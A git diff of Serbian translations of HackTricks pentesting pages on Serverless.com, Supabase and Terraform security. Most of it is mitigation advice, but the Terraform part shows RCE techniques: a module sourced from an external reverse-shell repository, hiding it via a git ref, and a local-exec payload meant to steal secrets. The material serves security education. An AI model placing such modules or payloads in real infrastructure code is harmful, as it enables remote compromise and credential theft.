1. Implementacija će biti izvršena putem CloudFormation Stack-a
-2. Imajte na umu da su **lambde izložene putem API gateway-a** i ne putem direktnih URL-ova
-7. **Test it**
-1. Prethodni korak će odštampati **URL-ove** gde su vaši API endpoint lambda funkcije implementirane
+2. Imajte na umu da su **lambde izložene putem API gateway-a** a ne putem direktnih URL-ova
+7. **Testirajte ga**
+1. Prethodni korak će ispisati **URL-ove** gde su vaši API endpoint lambda funkcije implementirane
-## Security Review of Serverless.com
+## Bezbednosna provera Serverless.com
### **Pogrešno konfigurisane IAM uloge i dozvole**
@@ -497,7 +497,7 @@ Kada nisu specificirane dozvole za Lambda funkciju, biće kreirana uloga sa dozv
-Minimum lambda permissions
+Minimalne lambda dozvole
```json
{
"Version": "2012-10-17",
@@ -527,7 +527,7 @@ Kada nisu specificirane dozvole za Lambda funkciju, biće kreirana uloga sa dozv
#### **Strategije ublažavanja**
-- **Princip najmanjih privilegija:** Dodelite samo neophodne dozvole svakoj funkciji.
+- **Princip minimalnih privilegija:** Dodelite samo neophodne dozvole svakoj funkciji.
```yaml
provider:
@@ -567,23 +567,23 @@ DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
I čak i ako ovo sprečava hardkodiranje vrednosti promenljive okruženja u **`serverless.yml`** datoteci, vrednost će biti dobijena u vreme implementacije i biće **dodata u čistom tekstu unutar lambda promenljive okruženja**.
> [!TIP]
-> Preporučeni način za čuvanje promenljivih okruženja koristeći serveless.com bio bi da **sačuvate u AWS tajni** i samo sačuvate ime tajne u promenljivoj okruženja, a **lambda kod bi trebao da je prikupi**.
+> Preporučeni način čuvanja promenljivih okruženja koristeći serveless.com bio bi da **se čuva u AWS tajni** i samo se ime tajne čuva u promenljivoj okruženja, a **lambda kod bi to trebao prikupiti**.
#### **Strategije ublažavanja**
-- **Integracija sa Tajnim Menadžerom:** Koristite usluge kao što je **AWS Secrets Manager.**
-- **Enkriptovane Promenljive:** Iskoristite funkcije enkripcije Serverless Framework-a za osetljive podatke.
-- **Kontrola Pristupa:** Ograničite pristup tajnama na osnovu uloga.
+- **Integracija sa Secrets Manager:** Koristite usluge kao što je **AWS Secrets Manager.**
+- **Enkriptovane promenljive:** Iskoristite funkcije enkripcije Serverless Framework-a za osetljive podatke.
+- **Kontrola pristupa:** Ograničite pristup tajnama na osnovu uloga.
---
-### **Ranljiv Kôd i Zavisnosti**
+### **Ranljiv kod i zavisnosti**
Zastarale ili nesigurne zavisnosti mogu uvesti ranjivosti, dok nepravilno rukovanje ulazima može dovesti do napada injekcijom koda.
#### **Strategije ublažavanja**
-- **Upravljanje Zavisnostima:** Redovno ažurirajte zavisnosti i skenirajte za ranjivosti.
+- **Upravljanje zavisnostima:** Redovno ažurirajte zavisnosti i skenirajte za ranjivosti.
```yaml
plugins:
@@ -591,38 +591,38 @@ plugins:
- serverless-plugin-snyk
```
-- **Validacija Ulaza:** Implementirajte strogu validaciju i sanitizaciju svih ulaza.
-- **Revizije Kôda:** Sprovodite temeljne revizije kako biste identifikovali sigurnosne propuste.
-- **Statička Analiza:** Koristite alate za otkrivanje ranjivosti u bazi koda.
+- **Validacija ulaza:** Implementirajte strogu validaciju i sanitizaciju svih ulaza.
+- **Revizije koda:** Sprovodite temeljne revizije kako biste identifikovali sigurnosne propuste.
+- **Statička analiza:** Koristite alate za otkrivanje ranjivosti u kodnoj bazi.
---
-### **Neadekvatno Logovanje i Praćenje**
+### **Neadekvatno logovanje i nadgledanje**
-Bez pravilnog logovanja i praćenja, zlonamerne aktivnosti mogu ostati neprimećene, odlažući odgovor na incidente.
+Bez pravilnog logovanja i nadgledanja, zlonamerne aktivnosti mogu ostati neprimećene, odlažući odgovor na incidente.
#### **Strategije ublažavanja**
-- **Centralizovano Logovanje:** Agregirajte logove koristeći usluge kao što su **AWS CloudWatch** ili **Datadog**.
+- **Centralizovano logovanje:** Agregirajte logove koristeći usluge kao što su **AWS CloudWatch** ili **Datadog**.
```yaml
plugins:
- serverless-plugin-datadog
```
-- **Omogućite Detaljno Logovanje:** Zabeležite bitne informacije bez izlaganja osetljivih podataka.
-- **Postavite Alarme:** Konfigurišite alarme za sumnjive aktivnosti ili anomalije.
-- **Redovno Praćenje:** Kontinuirano pratite logove i metrike za potencijalne sigurnosne incidente.
+- **Omogućite detaljno logovanje:** Zabeležite bitne informacije bez izlaganja osetljivih podataka.
+- **Postavite upozorenja:** Konfigurišite upozorenja za sumnjive aktivnosti ili anomalije.
+- **Redovno nadgledanje:** Kontinuirano nadgledajte logove i metrike za potencijalne sigurnosne incidente.
---
-### **Neosigurane Konfiguracije API Gateway-a**
+### **Nesigurne konfiguracije API Gateway-a**
Otvoreni ili nepravilno zaštićeni API-ji mogu se iskoristiti za neovlašćen pristup, napade uskraćivanja usluge (DoS) ili napade između sajtova.
#### **Strategije ublažavanja**
-- **Autentifikacija i Autorizacija:** Implementirajte robusne mehanizme kao što su OAuth, API ključevi ili JWT.
+- **Autentifikacija i autorizacija:** Implementirajte robusne mehanizme kao što su OAuth, API ključevi ili JWT.
```yaml
functions:
@@ -635,7 +635,7 @@ method: get
authorizer: aws_iam
```
-- **Ograničavanje Brzine i Throttling:** Sprečite zloupotrebu ograničavanjem brzine zahteva.
+- **Ograničavanje brzine i throttling:** Sprečite zloupotrebu ograničavanjem brzine zahteva.
```yaml
provider:
@@ -645,7 +645,7 @@ burstLimit: 200
rateLimit: 100
```
-- **Sigurna CORS Konfiguracija:** Ograničite dozvoljene izvore, metode i zaglavlja.
+- **Sigurna CORS konfiguracija:** Ograničite dozvoljene izvore, metode i zaglavlja.
```yaml
functions:
@@ -661,19 +661,19 @@ headers:
- Content-Type
```
-- **Koristite Vatrozide za Web Aplikacije (WAF):** Filtrirajte i pratite HTTP zahteve za zlonamernim obrascima.
+- **Koristite vatrozide za web aplikacije (WAF):** Filtrirajte i nadgledajte HTTP zahteve za zlonamernim obrascima.
---
-### **Nedovoljna Izolacija Funkcija**
+### **Nedovoljna izolacija funkcija**
Deljeni resursi i nedovoljna izolacija mogu dovesti do eskalacije privilegija ili nenamernih interakcija između funkcija.
#### **Strategije ublažavanja**
-- **Izolujte Funkcije:** Dodelite različite resurse i IAM uloge kako biste osigurali nezavisno delovanje.
-- **Particionisanje Resursa:** Koristite odvojene baze podataka ili skladišne kante za različite funkcije.
-- **Koristite VPC-e:** Implementirajte funkcije unutar Virtuelnih Privatnih Oblaka za poboljšanu mrežnu izolaciju.
+- **Izolujte funkcije:** Dodelite različite resurse i IAM uloge kako biste osigurali nezavisno delovanje.
+- **Partitioning resursa:** Koristite odvojene baze podataka ili skladišne kante za različite funkcije.
+- **Koristite VPC:** Implementirajte funkcije unutar Virtuelnih Privatnih Oblaka za poboljšanu mrežnu izolaciju.
```yaml
provider:
@@ -684,17 +684,17 @@ subnetIds:
- subnet-xxxxxx
```
-- **Ograničite Dozvole Funkcija:** Osigurajte da funkcije ne mogu pristupiti ili ometati resurse jedne druge osim ako to nije izričito potrebno.
+- **Ograničite dozvole funkcija:** Osigurajte da funkcije ne mogu pristupiti ili ometati resurse jedne druge osim ako to nije izričito zahtevano.
---
-### **Nedovoljna Zaštita Podataka**
+### **Nedovoljna zaštita podataka**
Nešifrovani podaci u mirovanju ili u tranzitu mogu biti izloženi, što može dovesti do curenja podataka ili manipulacije.
#### **Strategije ublažavanja**
-- **Šifrujte Podatke u Mirovanju:** Iskoristite funkcije šifrovanja usluga u oblaku.
+- **Šifrujte podatke u mirovanju:** Iskoristite funkcije šifrovanja usluga u oblaku.
```yaml
resources:
@@ -706,19 +706,19 @@ SSESpecification:
SSEEnabled: true
```
-- **Šifrujte Podatke u Tranzitu:** Koristite HTTPS/TLS za sve prenose podataka.
-- **Osigurajte API Komunikaciju:** Sprovodite protokole šifrovanja i validirajte sertifikate.
-- **Sigurno Upravljanje Ključevima za Šifrovanje:** Koristite upravljane usluge ključeva i redovno rotirajte ključeve.
+- **Šifrujte podatke u tranzitu:** Koristite HTTPS/TLS za sve prenose podataka.
+- **Osigurajte API komunikaciju:** Sprovodite protokole šifrovanja i validirajte sertifikate.
+- **Sigurno upravljajte šifrovanjem ključeva:** Koristite upravljane usluge ključeva i redovno rotirajte ključeve.
---
-### **Nedostatak Pravilnog Rukovanja Greškama**
+### **Nedostatak pravilnog rukovanja greškama**
-Detaljne poruke o greškama mogu otkriti osetljive informacije o infrastrukturi ili bazi koda, dok neobrađene izuzetke mogu dovesti do rušenja aplikacije.
+Detaljne poruke o greškama mogu otkriti osetljive informacije o infrastrukturi ili kodnoj bazi, dok neobrađene izuzetke mogu dovesti do rušenja aplikacije.
#### **Strategije ublažavanja**
-- **Generičke Poruke o Greškama:** Izbegavajte izlaganje internih detalja u odgovorima na greške.
+- **Generičke poruke o greškama:** Izbegavajte izlaganje internih detalja u odgovorima na greške.
```javascript
javascriptCopy code// Primer u Node.js
@@ -729,84 +729,84 @@ try {
console.error(error);
return {
statusCode: 500,
-body: JSON.stringify({ message: 'Interna Greška Servera' }),
+body: JSON.stringify({ message: 'Internal Server Error' }),
};
}
};
```
-- **Centralizovano Rukovanje Greškama:** Upravljajte i sanitizujte greške dosledno kroz sve funkcije.
-- **Pratite i Logujte Greške:** Pratite i analizirajte greške interno bez izlaganja detalja krajnjim korisnicima.
+- **Centralizovano rukovanje greškama:** Upravite i sanitizujte greške dosledno kroz sve funkcije.
+- **Nadgledajte i logujte greške:** Pratite i analizirajte greške interno bez izlaganja detalja krajnjim korisnicima.
---
-### **Neosigurane Prakse Implementacije**
+### **Nesigurne prakse implementacije**
-Izložene konfiguracije implementacije ili neovlašćen pristup CI/CD cevovodima mogu dovesti do zlonamernih implementacija koda ili pogrešnih konfiguracija.
+Izložene konfiguracije implementacije ili neovlašćen pristup CI/CD pipelinima mogu dovesti do zlonamernih implementacija koda ili pogrešnih konfiguracija.
#### **Strategije ublažavanja**
-- **Osigurajte CI/CD Cevovode:** Implementirajte stroge kontrole pristupa, višefaktorsku autentifikaciju (MFA) i redovne revizije.
-- **Sigurno Čuvanje Konfiguracije:** Držite datoteke za implementaciju bez hardkodiranih tajni i osetljivih podataka.
-- **Koristite Alate za Bezbednost Infrastrukture kao Koda (IaC):** Koristite alate kao što su **Checkov** ili **Terraform Sentinel** za sprovođenje sigurnosnih politika.
-- **Neizmenljive Implementacije:** Sprečite neovlašćene promene nakon implementacije usvajanjem praksi neizmenljive infrastrukture.
+- **Sigurni CI/CD pipelini:** Implementirajte stroge kontrole pristupa, višefaktorsku autentifikaciju (MFA) i redovne revizije.
+- **Sigurno čuvanje konfiguracije:** Držite datoteke za implementaciju bez hardkodiranih tajni i osetljivih podataka.
+- **Koristite alate za sigurnost infrastrukture kao koda (IaC):** Koristite alate kao što su **Checkov** ili **Terraform Sentinel** za sprovođenje sigurnosnih politika.
+- **Imutabilne implementacije:** Sprečite neovlašćene promene nakon implementacije usvajanjem praksi imutabilne infrastrukture.
---
-### **Ranjivosti u Plugin-ima i Ekstenzijama**
+### **Ranjivosti u dodacima i ekstenzijama**
-Korišćenje neproverenih ili zlonamernih trećih strana plugin-a može uvesti ranjivosti u vaše serverless aplikacije.
+Korišćenje neproverenih ili zlonamernih dodataka trećih strana može uvesti ranjivosti u vaše serverless aplikacije.
#### **Strategije ublažavanja**
-- **Temeljno Proverite Plugin-e:** Procijenite sigurnost plugin-a pre integracije, favorizujući one iz uglednih izvora.
-- **Ograničite Korišćenje Plugin-a:** Koristite samo neophodne plugin-e kako biste smanjili površinu napada.
-- **Pratite Ažuriranja Plugin-a:** Držite plugin-e ažuriranim kako biste imali koristi od sigurnosnih zakrpa.
-- **Izolujte Okruženja Plugin-a:** Pokrećite plugin-e u izolovanim okruženjima kako biste sadržali potencijalne kompromitacije.
+- **Temeljno proverite dodatke:** Procijenite sigurnost dodataka pre integracije, favorizujući one iz uglednih izvora.
+- **Ograničite korišćenje dodataka:** Koristite samo neophodne dodatke kako biste smanjili površinu napada.
+- **Nadgledajte ažuriranja dodataka:** Držite dodatke ažuriranim kako biste imali koristi od sigurnosnih zakrpa.
+- **Izolujte okruženja dodataka:** Pokrećite dodatke u izolovanim okruženjima kako biste ograničili potencijalne kompromitacije.
---
-### **Izloženost Osetljivim Krajnjim Tačkama**
+### **Izloženost osetljivih krajnjih tačaka**
Javno dostupne funkcije ili neograničeni API-ji mogu se iskoristiti za neovlašćene operacije.
#### **Strategije ublažavanja**
-- **Ograničite Pristup Funkcijama:** Koristite VPC-e, sigurnosne grupe i pravila vatrozida kako biste ograničili pristup pouzdanim izvorima.
-- **Implementirajte Robusnu Autentifikaciju:** Osigurajte da sve izložene krajnje tačke zahtevaju pravilnu autentifikaciju i autorizaciju.
-- **Sigurno Koristite API Gateway-e:** Konfigurišite API Gateway-e da sprovode sigurnosne politike, uključujući validaciju ulaza i ograničavanje brzine.
-- **Onemogućite Neiskorišćene Krajnje Tačke:** Redovno pregledajte i onemogućite sve krajnje tačke koje više nisu u upotrebi.
+- **Ograničite pristup funkcijama:** Koristite VPC, sigurnosne grupe i pravila vatrozida kako biste ograničili pristup pouzdanim izvorima.
+- **Implementirajte robusnu autentifikaciju:** Osigurajte da sve izložene krajnje tačke zahtevaju odgovarajuću autentifikaciju i autorizaciju.
+- **Sigurno koristite API Gateway:** Konfigurišite API Gateway da sprovodi sigurnosne politike, uključujući validaciju ulaza i ograničavanje brzine.
+- **Onemogućite neiskorišćene krajnje tačke:** Redovno pregledajte i onemogućite sve krajnje tačke koje više nisu u upotrebi.
---
-### **Prekomerne Dozvole za Članove Tima i Spoljne Saradnike**
+### **Prekomerne dozvole za članove tima i spoljne saradnike**
Dodeljivanje prekomernih dozvola članovima tima i spoljnim saradnicima može dovesti do neovlašćenog pristupa, curenja podataka i zloupotrebe resursa. Ovaj rizik se povećava u okruženjima gde više pojedinaca ima različite nivoe pristupa, povećavajući površinu napada i potencijal za unutrašnje pretnje.
#### **Strategije ublažavanja**
-- **Princip Najmanjih Privilegija:** Osigurajte da članovi tima i saradnici imaju samo one dozvole koje su neophodne za obavljanje njihovih zadataka.
+- **Princip najmanjih privilegija:** Osigurajte da članovi tima i saradnici imaju samo one dozvole koje su neophodne za obavljanje svojih zadataka.
---
-### **Bezbednost Pristupnih Ključeva i Ključeva Licenci**
+### **Bezbednost pristupnih ključeva i licenci**
-**Pristupni Ključevi** i **Ključevi Licenci** su kritične akreditive koji se koriste za autentifikaciju i autorizaciju interakcija sa Serverless Framework CLI.
+**Pristupni ključevi** i **ključevi licenci** su kritične akreditive koji se koriste za autentifikaciju i autorizaciju interakcija sa Serverless Framework CLI.
-- **Ključevi Licenci:** Oni su jedinstveni identifikatori potrebni za autentifikaciju pristupa Serverless Framework verziji 4 koja omogućava prijavu putem CLI.
-- **Pristupni Ključevi:** Akreditive koje omogućavaju Serverless Framework CLI da se autentifikuje sa Serverless Framework Dashboard-om. Kada se prijavite sa `serverless` cli, pristupni ključ će biti **generisan i sačuvan na laptopu**. Takođe ga možete postaviti kao promenljivu okruženja pod imenom `SERVERLESS_ACCESS_KEY`.
+- **Ključevi licenci:** Oni su jedinstveni identifikatori potrebni za autentifikaciju pristupa Serverless Framework verziji 4 koja omogućava prijavu putem CLI.
+- **Pristupni ključevi:** Akreditive koje omogućavaju Serverless Framework CLI da se autentifikuje sa Serverless Framework Dashboard-om. Kada se prijavite sa `serverless` cli, pristupni ključ će biti **generisan i sačuvan na laptopu**. Takođe ga možete postaviti kao promenljivu okruženja pod imenom `SERVERLESS_ACCESS_KEY`.
-#### **Sigurnosni Rizici**
+#### **Sigurnosni rizici**
-1. **Izloženost Kroz Repozitorijume Koda:**
+1. **Izloženost kroz repozitorijume koda:**
- Hardkodiranje ili slučajno komitovanje pristupnih ključeva i ključeva licenci u sisteme za kontrolu verzija može dovesti do neovlašćenog pristupa.
-2. **Nesigurno Čuvanje:**
+2. **Nesigurno čuvanje:**
- Čuvanje ključeva u čistom tekstu unutar promenljivih okruženja ili konfiguracionih datoteka bez odgovarajuće enkripcije povećava verovatnoću curenja.
-3. **Nepravilna Distribucija:**
+3. **Nepravilna distribucija:**
- Deljenje ključeva putem nesigurnih kanala (npr. e-pošta, chat) može rezultirati presretanjem od strane zlonamernih aktera.
-4. **Nedostatak Rotacije:**
-- Nepostojanje redovne rotacije ključeva produžava period izloženosti ako su ključevi kompromitovani.
-5. **Prekomerne Dozvole:**
-- Ključevi sa širokim dozvolama mogu se iskoristiti za obavljanje neovlašćenih radnji širom više resursa.
+4. **Nedostatak rotacije:**
+- Ne redovno rotiranje ključeva produžava period izloženosti ako su ključevi kompromitovani.
+5. **Prekomerne dozvole:**
+- Ključevi sa širokim dozvolama mogu se iskoristiti za obavljanje neovlašćenih radnji na više resursa.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 4eab43410..8c81edf5c 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -2,44 +2,44 @@
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Osnovne informacije
-Prema njihovoj [**landing stranici**](https://supabase.com/): Supabase je open source alternativa za Firebase. Započnite svoj projekat sa Postgres bazom podataka, autentifikacijom, instant API-ima, Edge funkcijama, Realtime pretplatama, skladištem i vektorskim ugradnjama.
+Prema njihovoj [**početnoj stranici**](https://supabase.com/): Supabase je open source alternativa Firebase-u. Započnite svoj projekat sa Postgres bazom podataka, autentifikacijom, instant API-ima, Edge funkcijama, Realtime pretplatama, skladištem i vektorskim ugradnjama.
-### Subdomen
+### Poddomen
-U suštini, kada se projekat kreira, korisnik će dobiti supabase.co subdomen kao: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+U suštini, kada se projekat kreira, korisnik će dobiti supabase.co poddomen kao: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Konfiguracija baze podataka**
> [!TIP]
-> **Ovi podaci se mogu pristupiti putem linka kao što je `https://supabase.com/dashboard/project//settings/database`**
+> **Ovi podaci se mogu pristupiti putem linka kao `https://supabase.com/dashboard/project//settings/database`**
Ova **baza podataka** će biti postavljena u nekoj AWS regiji, i da bi se povezali na nju, moguće je to učiniti povezivanjem na: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (ova je kreirana u us-west-1).\
Lozinka je **lozinka koju je korisnik prethodno postavio**.
-Stoga, pošto je subdomen poznat i koristi se kao korisničko ime, a AWS regije su ograničene, može biti moguće pokušati da **brute force-ujete lozinku**.
+Stoga, pošto je poddomen poznat i koristi se kao korisničko ime, a AWS regije su ograničene, može biti moguće pokušati **brute force napad na lozinku**.
-Ovaj odeljak takođe sadrži opcije za:
+Ovaj deo takođe sadrži opcije za:
- Resetovanje lozinke baze podataka
- Konfiguraciju povezivanja
-- Konfiguraciju SSL: Odbijanje plan-text konekcija (po defaultu su omogućene)
+- Konfiguraciju SSL: Odbijanje plain-text konekcija (po defaultu su omogućene)
- Konfiguraciju veličine diska
- Primenu mrežnih ograničenja i zabrana
## Konfiguracija API-ja
> [!TIP]
-> **Ovi podaci se mogu pristupiti putem linka kao što je `https://supabase.com/dashboard/project//settings/api`**
+> **Ovi podaci se mogu pristupiti putem linka kao `https://supabase.com/dashboard/project//settings/api`**
URL za pristup supabase API-ju u vašem projektu biće: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api ključevi
-Takođe će generisati **anon API ključ** (`role: "anon"`), kao: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` koji će aplikacija morati da koristi da bi kontaktirala API ključ izložen u našem primeru u
+Takođe će generisati **anon API ključ** (`role: "anon"`), kao: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` koji će aplikacija morati da koristi kako bi kontaktirala API ključ izložen u našem primeru u
-Moguće je pronaći API REST za kontaktiranje ovog API-ja u [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ali najzanimljiviji endpointi bi bili:
+Moguće je pronaći API REST za kontaktiranje ovog API-ja u [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ali najzanimljiviji krajnji tačke biće:
@@ -101,7 +101,7 @@ Priority: u=1, i
Dakle, kada otkrijete klijenta koji koristi supabase sa poddomenom koja im je dodeljena (moguće je da poddomena kompanije ima CNAME preko njihove supabase poddomene), možete pokušati da **napravite novi nalog na platformi koristeći supabase API**.
-### tajni / service_role api ključevi
+### tajni / service_role API ključevi
Tajni API ključ će takođe biti generisan sa **`role: "service_role"`**. Ovaj API ključ treba da bude tajan jer će moći da zaobiđe **Row Level Security**.
@@ -116,10 +116,10 @@ API ključ izgleda ovako: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBh
### Registracije
> [!TIP]
-> Po **defaultu** supabase će omogućiti **novim korisnicima da kreiraju naloge** na vašem projektu koristeći prethodno pomenute API krajnje tačke.
+> Po **zadovoljstvu** supabase će omogućiti **novim korisnicima da kreiraju naloge** na vašem projektu koristeći prethodno pomenute API krajnje tačke.
-Međutim, ovi novi nalozi, po defaultu, **će morati da verifikuju svoju email adresu** da bi mogli da se prijave na nalog. Moguće je omogućiti **"Dozvoli anonimne prijave"** kako bi ljudi mogli da se prijave bez verifikacije svoje email adrese. Ovo bi moglo omogućiti pristup **neočekivanim podacima** (dobijaju uloge `public` i `authenticated`).\
-Ovo je veoma loša ideja jer supabase naplaćuje po aktivnom korisniku, tako da bi ljudi mogli da kreiraju korisnike i prijave se, a supabase će naplatiti za njih:
+Međutim, ovi novi nalozi, po defaultu, **će morati da verifikuju svoju email adresu** da bi mogli da se prijave na nalog. Moguće je omogućiti **"Dozvoli anonimne prijave"** kako bi se ljudima omogućilo da se prijave bez verifikacije svoje email adrese. Ovo može omogućiti pristup **neočekivanim podacima** (dobijaju uloge `public` i `authenticated`).\
+Ovo je veoma loša ideja jer supabase naplaćuje po aktivnom korisniku, tako da ljudi mogu kreirati korisnike i prijaviti se, a supabase će naplatiti za njih:
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 4f975f4e0..fa57cffb9 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -1,36 +1,36 @@
-# Terraform Security
+# Terraform Bezbednost
{{#include ../banners/hacktricks-training.md}}
-## Osnovne informacije
+## Osnovne Informacije
[Iz dokumenata:](https://developer.hashicorp.com/terraform/intro)
-HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete kako **resurse u oblaku, tako i lokalne resurse** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivom komponentama kao što su resursi za računanje, skladištenje i umrežavanje, kao i visokim komponentama kao što su DNS unosi i SaaS funkcije.
+HashiCorp Terraform je **alat za infrastrukturu kao kod** koji vam omogućava da definišete **resurse u oblaku i on-prem** u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računanje, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
#### Kako Terraform funkcioniše?
-Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
+Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraform-u da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
.png>)
-HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se i dalje povećava. Sve javno dostupne provajdere možete pronaći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.
+HashiCorp i Terraform zajednica su već napisali **više od 1700 provajdera** za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na [Terraform Registry](https://registry.terraform.io/), uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.
Osnovni Terraform radni tok se sastoji od tri faze:
-- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
+- **Pisanje:** Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtual Private Cloud (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
- **Planiranje:** Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
- **Primena:** Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
.png>)
-### Terraform laboratorija
+### Terraform Lab
Samo instalirajte terraform na vašem računaru.
Ovde imate [vodič](https://learn.hashicorp.com/tutorials/terraform/install-cli) i ovde imate [najbolji način za preuzimanje terraforma](https://www.terraform.io/downloads).
-## RCE u Terraformu
+## RCE u Terraform-u
Terraform **nema platformu koja izlaže web stranicu ili mrežnu uslugu** koju možemo enumerisati, stoga je jedini način da se kompromituje terraform **može dodati/izmeniti terraform konfiguracione datoteke**.
@@ -48,7 +48,7 @@ Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti n
### Terraform plan
-Terraform plan je **najčešće korišćena komanda** u terraformu i programeri/rešenja koja koriste terraform je pozivaju stalno, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
+Terraform plan je **najčešće korišćena komanda** u terraform-u i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je **najlakši način da dobijete RCE** da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u `terraform plan`.
**Korišćenje spoljnog provajdera**
@@ -79,7 +79,7 @@ Provajder se preuzima u `init` i izvršiće maliciozni kod kada se izvrši `plan
Možete pronaći primer na [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
-**Korišćenje spoljnog reference**
+**Korišćenje spoljnog referenciranja**
Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na **diskretniji način**, prateći ove sugestije:
@@ -89,14 +89,14 @@ module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
-Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+Možete pronaći rev shell kod u [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
### Terraform Apply
Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem **malicioznog Terraform fajla sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-Samo treba da se uverite da neki payload poput sledećih završi u `main.tf` fajlu:
+Samo treba da se pobrinete da neki payload poput sledećih završi u `main.tf` fajlu:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -122,15 +122,15 @@ output "dotoken" {
value = nonsensitive(var.do_token)
}
```
-## Zloupotreba Terraform State Fajlova
+## Zloupotreba Terraform Stanja Fajlova
-U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za korišćenje fajla:
+U slučaju da imate pristup za pisanje nad terraform stanja fajlovima, ali ne možete da menjate terraform kod, [**ova istraživanja**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) nude neke zanimljive opcije za iskorišćavanje fajla:
